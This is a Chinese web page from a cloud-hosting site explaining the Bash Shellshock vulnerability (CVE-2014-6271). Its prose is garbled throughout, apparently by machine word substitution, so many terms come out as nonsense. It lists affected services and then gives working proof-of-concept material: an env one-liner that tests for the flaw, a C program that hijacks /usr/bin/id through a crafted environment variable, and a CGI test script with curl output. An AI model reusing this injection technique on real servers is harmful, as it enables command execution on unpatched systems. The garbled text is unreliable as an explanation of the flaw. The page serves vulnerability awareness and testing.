欢迎来到云服务器

网络技术

GNU Bash 情况变量长途呼吁执行裂痕(CVE-2014-6271)

0x00 什么是BASH


Bourne Again Shell(简称BASH)是在GNU/Linux上最风行的SHELL实现,于1980年降生,颠末尾几十年的进化从一个简朴的终端呼吁行表明器演酿成了和GNU系统深 度整合的多成果接口。


0x01 CVE-2014-6271

法国GNU/Linux喜好者Stéphane Chazelas于2014年9月中旬发明白著名的SHELL实)的一个裂痕,你可以通过结构情况变量的值来执行你想要执行的剧本代码,据报道称,这个裂痕能影响浩瀚的运行在GNU/Linux上的会跟BASH交互的应用措施,包罗:

在sshd设置中利用了ForceCommand用以限制长途用户执行呼吁,这个裂痕可以绕过限制去执行任何呼吁。一些Git和Subversion陈设情况的限制Shell也会呈现雷同环境,OpenSSH凡是用法没有问题。

Apache处事器利用mod_cgi可能mod_cgid,假如CGI剧本在BASH可能运行在子SHELL里城市受影响。子Shell中利用C的system/popen,,Python中利用os.system/os.popen,PHP中利用system/exec(CGI模式)和Perl中利用open/system的环境城市受此裂痕影响。

PHP剧本执行在mod_php不会受影响。
DHCP客户端挪用shell剧本吸收长途恶意处事器的情况变量参数值的环境会被此裂痕操作。

守护历程和SUID措施在情况变量配置的情况下执行SHELL剧本也大概受到影响。

任何其他措施执行SHELL剧本时用BASH作为表明器都大概受影响。Shell剧本不导出的环境下不会受影响。

OpenSSH, Apache2, php, dhcp client甚至带SUID的措施。

1,当地SHELL情况中测试是否有裂痕:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

假如存在裂痕会打印"vulnerable"。

2,C措施:
-----------------------------------------------------------------------------
/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */
#include <unistd.h>
#include <stdio.h>

int main()
{
    char *envp[] = {
        "PATH=/bin:/usr/bin",
        "/usr/bin/id=() { "
        "echo pwn me twice, shame on me; }; "
        "echo pwn me once, shame on you",
        NULL
    };
    char *argv[] = { "/bin/bash", NULL };

    execve(argv[0], argv, envp);
    perror("execve");
    return 1;
}

测试:


[email protected]:~$ gcc -o bash-is-fun bash-is-fun.c
[email protected]:~$ ./bash-is-fun
pwn me once, shame on you
[email protected]:/home/je$ /usr/bin/id
pwn me twice, shame on me

这个POC中可以看出BASH基础就没有去处理惩罚末了,后头我们可以通过补丁来看为什么。

3,INVISIBLETHREAT上对付HTTP情况的测试:

建设一个剧本叫poc.cgi:


#!/bin/bash

echo "Content-type: text/html"
echo ""

echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'

exit 0

把剧本放入测试机后,输入:

$ curl http://192.168.0.1/poc.cgi
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>PoC</title>
</head>
<body>
<pre>
SERVER_SIGNATURE=<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
HTTP_USER_AGENT=curl/7.26.0
SERVER_PORT=80
HTTP_HOST=192.168.0.1
DOCUMENT_ROOT=/var/www
SCRIPT_FILENAME=/var/www/poc.cgi
REQUEST_URI=/poc.cgi
SCRIPT_NAME=/poc.cgi
REMOTE_PORT=40974
PATH=/usr/local/bin:/usr/bin:/bin
PWD=/var/www
[email protected]
HTTP_ACCEPT=*/*
REMOTE_ADDR=192.168.0.1
SHLVL=1
SERVER_NAME=192.168.0.1
SERVER_SOFTWARE=Apache/2.2.22 (Debian)
QUERY_STRING=
SERVER_ADDR=192.168.0.1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
_=/usr/bin/env
</pre>
</body>
</html>

腾讯云代理

Copyright © 2003-2021 MFISP.COM. 国外vps服务器租用 梦飞云服务器租用 版权所有 粤ICP备11019662号